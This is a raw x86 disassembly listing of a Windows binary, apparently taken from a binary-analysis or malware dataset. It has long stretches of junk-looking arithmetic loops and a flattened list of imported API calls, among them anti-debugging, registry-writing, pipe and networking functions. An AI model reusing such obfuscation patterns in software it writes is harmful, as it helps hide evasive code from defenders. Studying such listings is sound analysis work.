cmp ecx, dword [ebp - 0x4c]
jge 0x4304c5
mov edx, dword [ebp - 0x74]
sub edx, dword [ebp - 0x6c]
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x6c]
add eax, 1
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x158], 0
je 0x4304c5
mov ecx, dword [ebp - 0x60]
add ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x94]
add edx, 0x40fc
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x94]
mov dword [ebp - 0x60], eax
jmp 0x4304ee
mov ecx, dword [ebp - 0x60]
add ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x60]
cmp edx, dword [ebp - 0xa8]
jge 0x430738
mov eax, dword [ebp - 0x78]
sub eax, 1
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x44]
add edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x70]
jne 0x43054c
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x160], edx
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x15c]
cmp ecx, dword [ebp - 0x160]
jge 0x4305c0
mov edx, dword [ebp - 0x70]
or edx, dword [ebp - 0x88]
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0x70]
sub eax, 1
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x164], 0
je 0x4305c0
mov ecx, dword [ebp - 0x84]
cmp ecx, dword [ebp - 0x64]
jge 0x4305c0
mov edx, dword [ebp - 0x80]
cmp edx, dword [ebp - 0x9c]
jge 0x4305c0
mov eax, dword [ebp - 0x78]
sub eax, dword [ebp - 0x64]
jne 0x4305b1
mov ecx, dword [ebp - 0x80]
cmp ecx, dword [ebp - 0x90]
jl 0x4305b1
mov edx, dword [ebp - 0x6c]
cmp edx, dword [ebp - 0x74]
jge 0x4305c0
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x5c]
jge 0x4305c0
mov ecx, dword [ebp - 0x70]
or ecx, dword [ebp - 0x7c]
je 0x4305c0
mov edx, dword [ebp - 0x84]
add edx, 1
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x78]
jge 0x4305d4
mov dword [ebp - 0xe0], 1
jmp 0x4305de
mov dword [ebp - 0xe0], 0
mov ecx, dword [ebp - 0x94]
and ecx, dword [ebp - 0xe0]
je 0x43061c
mov edx, dword [ebp - 0x8c]
add edx, 1
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x8c]
jge 0x43061c
mov ecx, dword [ebp - 0x90]
cmp ecx, dword [ebp - 0x6c]
jge 0x43061c
mov edx, dword [ebp - 0x68]
cmp edx, dword [ebp - 0x44]
jl 0x430645
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x5c]
jge 0x430630
mov dword [ebp - 0xe4], 1
jmp 0x43063a
mov dword [ebp - 0xe4], 0
mov ecx, dword [ebp - 0x80]
and ecx, dword [ebp - 0xe4]
je 0x43064e
mov edx, dword [ebp - 0x7c]
sub edx, 1
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x7c]
sub eax, 1
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x64]
sub ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x8c]
sub edx, 1
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x80]
and eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x74]
jge 0x43068b
mov ecx, dword [ebp - 0xa4]
or ecx, dword [ebp - 0x94]
jne 0x43069e
mov edx, dword [ebp - 0x74]
add edx, dword [ebp - 0x7c]
cmp edx, dword [ebp - 0x78]
jl 0x43069e
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x6c]
je 0x4306a7
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x80]
cmp edx, dword [ebp - 0x94]
jge 0x4306bd
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x90]
jl 0x4306d3
mov ecx, dword [ebp - 0x88]
or ecx, dword [ebp - 0x64]
je 0x430733
mov edx, dword [ebp - 0x9c]
cmp edx, dword [ebp - 0x6c]
jge 0x430733
mov eax, dword [ebp - 0x90]
sub eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0xa4]
jl 0x430700
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x74]
jge 0x430733
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0xa0]
jge 0x430733
mov ecx, dword [ebp - 0x8c]
sub ecx, 1
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x8c]
cmp edx, dword [ebp - 0x5c]
jl 0x43072a
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x44]
jl 0x43072a
mov ecx, dword [ebp - 0x78]
cmp ecx, dword [ebp - 0x68]
jge 0x430733
mov edx, dword [ebp - 0x5c]
sub edx, 1
mov dword [ebp - 0x5c], edx
jmp 0x4304e5
call fcn.0040d280
call fcn.0042b720
mov eax, dword [ebp - 0x44]
sub eax, 0x1177f
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0xa0]
add ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa0], ecx
jmp 0x43076d
mov edx, dword [ebp - 0xa0]
add edx, 1
mov dword [ebp - 0xa0], edx
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x8c]
jge 0x4309e0
mov ecx, dword [ebp - 0x60]
sub ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x68]
cmp edx, dword [ebp - 0x78]
jl 0x4307ad
mov eax, dword [ebp - 0xa8]
add eax, 1
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0xa8]
xor ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x60]
jge 0x4307b6
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x4c]
sub eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x168], ecx
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x60]
sub eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x168]
cmp ecx, dword [ebp - 0x16c]
jl 0x43080c
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x64]
jl 0x43080c
mov ecx, dword [ebp - 0x6c]
add ecx, dword [ebp - 0x70]
cmp ecx, dword [ebp - 0x44]
jge 0x430815
mov edx, dword [ebp - 0x7c]
cmp edx, dword [ebp - 0x5c]
jge 0x430815
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x88]
cmp edx, dword [ebp - 0x94]
jl 0x430854
mov eax, dword [ebp - 0x80]
sub eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x6c]
jl 0x430854
mov ecx, dword [ebp - 0x9c]
add ecx, dword [ebp - 0x44]
jne 0x430854
mov edx, dword [ebp - 0x60]
add edx, dword [ebp - 0x68]
cmp edx, dword [ebp - 0x6c]
jge 0x4308d8
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x9c]
jge 0x43086b
mov dword [ebp - 0xe8], 1
jmp 0x430875
mov dword [ebp - 0xe8], 0
mov ecx, dword [ebp - 0x60]
xor ecx, dword [ebp - 0xe8]
je 0x4308b5
mov edx, dword [ebp - 0x84]
cmp edx, dword [ebp - 0x6c]
jge 0x430897
mov dword [ebp - 0xec], 1
jmp 0x4308a1
mov dword [ebp - 0xec], 0
mov eax, dword [ebp - 0x74]
add eax, 1
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x74]
and ecx, dword [ebp - 0xec]
jne 0x4308cf
mov edx, dword [ebp - 0x88]
sub edx, 1
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x64]
jge 0x4308d8
mov ecx, dword [ebp - 0x6c]
sub ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x94]
sub edx, 1
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x70]
sub eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x170], ecx
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x170]
cmp ecx, dword [ebp - 0x174]
jl 0x43093a
mov edx, dword [ebp - 0x90]
add edx, 1
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x88]
jge 0x4309d2
mov ecx, dword [ebp - 0x80]
sub ecx, 1
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0x80]
cmp edx, dword [ebp - 0x44]
jl 0x430995
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0xa4]
imul ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x178], ecx
mov edx, dword [ebp - 0x68]
mov dword [ebp - 0x17c], edx
mov eax, dword [ebp - 0xa4]
sub eax, 1
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0x178]
cmp ecx, dword [ebp - 0x17c]
jge 0x4309d2
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x9c]
jge 0x4309d2
mov eax, dword [ebp - 0x70]
and eax, dword [ebp - 0x64]
je 0x4309be
mov ecx, dword [ebp - 0xa4]
xor ecx, dword [ebp - 0x44]
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x180], 0
jne 0x4309c9
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x68]
jge 0x4309d2
mov ecx, dword [ebp - 0x60]
sub ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
jmp 0x43075e
mov eax, dword [ebp - 0x4c]
sub eax, 0xb2e1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x5c], ecx
jmp 0x4309ff
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x60]
jge 0x430ae4
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x4c]
sub eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x84]
add ecx, 1
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x70]
sub edx, 1
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [ebp - 0x74]
jl 0x430a9d
mov edx, dword [ebp - 0x80]
sub edx, dword [ebp - 0x70]
cmp edx, dword [ebp - 0x84]
jge 0x430aa6
mov eax, dword [ebp - 0x4c]
xor eax, dword [ebp - 0x78]
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x78]
add ecx, 1
mov dword [ebp - 0x78], ecx
cmp dword [ebp - 0x184], 0
je 0x430aa6
mov edx, dword [ebp - 0x88]
cmp edx, dword [ebp - 0x44]
jge 0x430aa6
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x8c]
jge 0x430aa6
mov ecx, dword [ebp - 0x68]
sub ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x90]
and edx, dword [ebp - 0xa8]
cmp edx, dword [ebp - 0x74]
jge 0x430ad6
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0xa0]
jge 0x430ad6
mov ecx, dword [ebp - 0xa4]
and ecx, dword [ebp - 0x44]
je 0x430ad6
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
jmp 0x4309f6
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
call dword [sym.imp.USER32.dll_SetTimer]
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call dword [sym.imp.USER32.dll_GetDC]
call dword [sym.imp.USER32.dll_AppendMenuA]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
call dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
call dword [sym.imp.KERNEL32.dll_AttachConsole]
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
call dword [sym.imp.USER32.dll_IsWindowVisible]
call dword [sym.imp.USER32.dll_CallWindowProcA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.USER32.dll_GetMenuItemInfoA]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.GDI32.dll_GetObjectA]
call dword [sym.imp.USER32.dll_MessageBoxA]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call dword [sym.imp.KERNEL32.dll_GetACP]
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call dword [sym.imp.USER32.dll_SetCursor]
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
call dword [sym.imp.KERNEL32.dll_EncodePointer]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call dword [sym.imp.USER32.dll_SetPropA]
call dword [sym.imp.USER32.dll_RedrawWindow]
call dword [sym.imp.GDI32.dll_SelectObject]
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetParent]
call dword [sym.imp.GDI32.dll_Rectangle]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
call dword [sym.imp.KERNEL32.dll_HeapSize]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
call dword [sym.imp.USER32.dll_GetDlgItem]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call dword [sym.imp.USER32.dll_GetCursorPos]
call dword [sym.imp.USER32.dll_PostMessageA]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.USER32.dll_RemovePropA]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call dword [sym.imp.USER32.dll_DestroyMenu]
call dword [sym.imp.USER32.dll_EnableMenuItem]
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call dword [sym.imp.USER32.dll_GetWindowLongA]
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x9323
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x2c]
mov dword [ebp - 4], edx
jmp 0x430ffb
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x1c]
jge 0x43119e
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x58]
imul ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x43102c
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x50]
jne 0x431034
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x20]
jge 0x43103d
mov ecx, dword [ebp - 0x58]
sub ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0xc]
xor edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 8]
jge 0x43108d
mov eax, dword [ebp - 0x28]
and eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x2c]
jl 0x431084
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x14]
jge 0x43108d
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18c], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x188]
cmp edx, dword [ebp - 0x18c]
jge 0x43108d
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x34]
jge 0x431199
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x190], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x190]
cmp ecx, dword [ebp - 0x194]
jge 0x431199
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x2c]
jge 0x431199
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x58]
jge 0x431199
mov ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x431199
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x198], edx
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x198]
cmp edx, dword [ebp - 0x19c]
jl 0x431175
mov eax, dword [ebp - 0xc]
and eax, dword [ebp - 0x24]
mov dword [ebp - 0x1a0], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x1a0], 0
jne 0x431175
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1a4]
cmp edx, dword [ebp - 0x1a8]
jge 0x431199
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
je 0x431199
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x18]
jge 0x431199
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x98]
je 0x431199
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x430ff2
call fcn.004354b0
mov esp, ebp
pop ebp
ret